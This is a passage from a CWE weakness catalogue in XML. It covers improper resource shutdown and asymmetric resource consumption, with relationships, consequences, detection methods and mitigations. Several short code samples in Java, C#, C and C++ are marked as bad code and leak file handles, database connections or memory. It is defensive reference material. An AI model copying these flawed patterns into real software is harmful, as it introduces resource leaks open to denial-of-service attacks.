						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>399</Relationship_Target_ID>
					          <!--Resource Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>730</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A9 - Denial of Service-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>405</Relationship_Target_ID>
					          <!--Asymmetric Resource Consumption (Amplification)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>752</Relationship_Target_ID>
					          <!--2009 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>857</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 12 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>882</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 14 - Concurrency (CON)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Overlaps memory leaks, asymmetric resource consumption, malformed input
						errors.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
					          <Ordinality_Description>
						            <Text>Improper release or shutdown of resources can be primary to resource
							exhaustion, performance, and information confidentiality problems to
							name a few.</Text>
					          </Ordinality_Description>
				        </Weakness_Ordinality>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
					          <Ordinality_Description>
						            <Text>Improper release or shutdown of resources can be resultant from
							improper error handling or insufficient resource tracking.</Text>
					          </Ordinality_Description>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low to Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Most unreleased resource issues result in general software reliability
							problems, but if an attacker can intentionally trigger a resource leak,
							the attacker might be able to launch a denial of service attack by
							depleting the resource pool.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When a resource containing sensitive information is not correctly
							shutdown, it may expose the sensitive data in a subsequent
							allocation.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-2">
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using dynamic tools and techniques that
							interact with the software using large test suites with many diverse
							inputs, such as fuzz testing (fuzzing), robustness testing, and fault
							injection. The software's operation may slow down, but it should not
							become unstable, crash, or generate incorrect results.</Text>
						            <Text>Resource clean up errors might be detected with a stress-test by
							calling the software simultaneously from a large number of threads or
							processes, and look for evidence of any unexpected behavior. The
							software's operation may slow down, but it should not become unstable,
							crash, or generate incorrect results.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-12">
					          <Method_Name>Manual Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>Identify error conditions that are not likely to occur during normal
							usage and trigger them. For example, run the program under low memory
							conditions, run with insufficient privileges or permissions, interrupt a
							transaction before it is completed, or disable connectivity to basic
							network services such as DNS. Monitor the software for any unexpected
							behavior. If you trigger an unhandled exception or similar error that
							was discovered and handled by the application's environment, it may
							still indicate unexpected conditions that were not handled by the
							application itself.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-3">
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Language Selection</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a language that does not allow this weakness to occur or provides
							constructs that make this weakness easier to avoid.</Text>
						            <Text>For example, languages such as Java, Ruby, and Lisp perform automatic
							garbage collection that releases memory for objects that have been
							deallocated.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>It is good practice to be responsible for freeing all resources you
							allocate and to be consistent with how and where you free memory in a
							function. If you allocate memory that you intend to free upon completion
							of the function, you must be sure to free the memory at all exit points
							for that function including error conditions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Memory should be allocated/freed using matching functions such as
							malloc/free, new/delete, and new[]/delete[].</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When releasing a complex object or structure, ensure that you properly
							dispose of all of its member components, not just the object
							itself.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-81">
					          <Intro_Text>The following method never closes the file handle it opens. The
						Finalize() method for StreamReader eventually calls Close(), but there is no
						guarantee as to how long it will take before the Finalize() method is
						invoked. In fact, there is no guarantee that Finalize() will ever be
						invoked. In a busy environment, this can result in the VM using up all of
						its available file handles.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private void processFile(string fName) {</Code>
							              <Block>
								                <Code>StreamWriter sw = new</Code>
								                <Code>StreamWriter(fName);</Code>
								                <Code>string line;</Code>
								                <Code>while ((line = sr.ReadLine()) != null)</Code>
								                <Block>
									                  <Code>processLine(line);</Code>
								                </Block>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-82">
					          <Intro_Text>If an exception occurs after establishing the database connection
						and before the same connection closes, the pool of database connections may
						become exhausted. If the number of available connections is exceeded, other
						users cannot access this resource, effectively denying access to the
						application. Using the following database connection pattern will ensure
						that all opened connections are closed. The con.close() call should be the
						first executable statement in the finally block.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>try {</Code>
							              <Block>
								                <Code>Connection con =
									DriverManager.getConnection(some_connection_string)</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>catch ( Exception e ) {</Code>
							              <Block>
								                <Code>log( e )</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>finally {</Code>
							              <Block>
								                <Code>con.close()</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-83">
					          <Intro_Text>Under normal conditions the following C# code executes a database
						query, processes the results returned by the database, and closes the
						allocated SqlConnection object. But if an exception occurs while executing
						the SQL or processing the results, the SqlConnection object is not closed.
						If this happens often enough, the database will run out of available cursors
						and not be able to execute any more SQL queries.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>...</Code>
							              <Code>SqlConnection conn = new SqlConnection(connString);</Code>
							              <Code>SqlCommand cmd = new SqlCommand(queryString);</Code>
							              <Code>cmd.Connection = conn;</Code>
							              <Code>conn.Open();</Code>
							              <Code>SqlDataReader rdr = cmd.ExecuteReader();</Code>
							              <Code>HarvestResults(rdr);</Code>
							              <Code>conn.Connection.Close();</Code>
							              <Code>...</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-84">
					          <Intro_Text>The following C function does not close the file handle it opens if
						an error occurs. If the process is long-lived, the process can run out of
						file handles.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int decodeFile(char* fName) {</Code>
							              <Block>
								                <Code>char buf[BUF_SZ];</Code>
								                <Code>FILE* f = fopen(fName, "r");</Code>
								                <Code>if (!f) {</Code>
								                <Block>
									                  <Code>printf("cannot open %s\n", fName);</Code>
									                  <Code>return DECODE_FAIL;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>while (fgets(buf, BUF_SZ, f)) {</Code>
									                  <Block>
										                    <Code>if (!checkChecksum(buf)) {</Code>
										                    <Block>
											                      <Code>return DECODE_FAIL;</Code>
										                    </Block>
										                    <Code>}</Code>
										                    <Code>else {</Code>
										                    <Block>
											                      <Code>decodeBlock(buf);</Code>
										                    </Block>
										                    <Code>}</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>fclose(f);</Code>
								                <Code>return DECODE_SUCCESS;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-85">
					          <Intro_Text>In this example, the program does not use matching functions such as
						malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the
						resource.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>class A {</Code>
							              <Block>
								                <Code>void foo();</Code>
							              </Block>
							              <Code>};</Code>
							              <Code>void A::foo(){</Code>
							              <Block>
								                <Code>int *ptr;</Code>
								                <Code>ptr = (int*)malloc(sizeof(int));</Code>
								                <Code>delete ptr;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-86">
					          <Intro_Text>In this example, the program calls the delete[] function on non-heap
						memory.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>class A{</Code>
							              <Block>
								                <Code>void foo(bool);</Code>
							              </Block>
							              <Code>};</Code>
							              <Code>void A::foo(bool heap) {</Code>
							              <Block>
								                <Code>int localArray[2] = {</Code>
								                <Block>
									                  <Code>11,22</Code>
								                </Block>
								                <Code>};</Code>
								                <Code>int *p = localArray;</Code>
								                <Code>if (heap){</Code>
								                <Block>
									                  <Code>p = new int[2];</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>delete[] p;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1127</Observed_Example_Reference>
					          <Observed_Example_Description>Does not shut down named pipe connections if
						malformed data is sent.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0830</Observed_Example_Reference>
					          <Observed_Example_Description>Sockets not properly closed when attacker
						repeatedly connects and disconnects from
						server.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1372</Observed_Example_Reference>
					          <Observed_Example_Description>Return values of file/socket operations not
						checked, allowing resultant consumption of file
						descriptors.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Non-specific</Functional_Area>
			      </Functional_Areas>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 8: C++ Catastrophes." Page 143</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Improper resource shutdown or release</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Unreleased Resource</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Denial of Service</Mapped_Node_Name>
					          <Mapped_Node_ID>A9</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure files are properly closed when they are no longer
						needed</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO42-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Release resources when they are no longer
						needed</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO04-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Resources allocated by memory allocation functions must be
						released using the corresponding memory deallocation
						function</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM39-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure files are properly closed when they are no longer
						needed</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO42-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Use lock classes for mutex management</Mapped_Node_Name>
					          <Mapped_Node_ID>CON02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>118</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>119</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>125</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>130</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>131</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Likelihood_of_Exploit,
						Other_Notes, Potential_Mitigations, Relationship_Notes, Relationships,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Detection_Factors,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="405" Name="Asymmetric Resource Consumption (Amplification)" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>Software that does not appropriately monitor or control
					resource consumption can lead to adverse system
					performance.</Description_Summary>
				        <Extended_Description>
					          <Text>This situation is amplified if the software allows malicious users or
						attackers to consume more resources than their access level permits.
						Exploiting such a weakness can lead to asymmetric resource consumption,
						aiding in amplification attacks against the system or the network.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>664</Relationship_Target_ID>
					          <!--Improper Control of a Resource Through its Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>399</Relationship_Target_ID>
					          <!--Resource Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>730</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A9 - Denial of Service-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>855</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 10 - Thread Pools (TPS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>857</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 12 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Operation</Introductory_Phase>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: amplification</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Sometimes this is a factor in "flood" attacks, but other types of
							amplification exist.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>An application must make resources available to a client commensurate
							with the client's access level.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>An application must, at all times, keep track of allocated resources
							and meter their usage appropriately.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Functional_Areas>
				        <Functional_Area>Non-specific</Functional_Area>
			      </Functional_Areas>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Asymmetric resource consumption
						(amplification)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Denial of Service</Mapped_Node_Name>
					          <Mapped_Node_ID>A9</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>XML Attribute Blowup </Mapped_Node_Name>
					          <Mapped_Node_ID>41</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Use thread pools to enable graceful degradation of service
						during traffic bursts</Mapped_Node_Name>
					          <Mapped_Node_ID>TPS00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Release resources when they are no longer
						needed</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO04-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
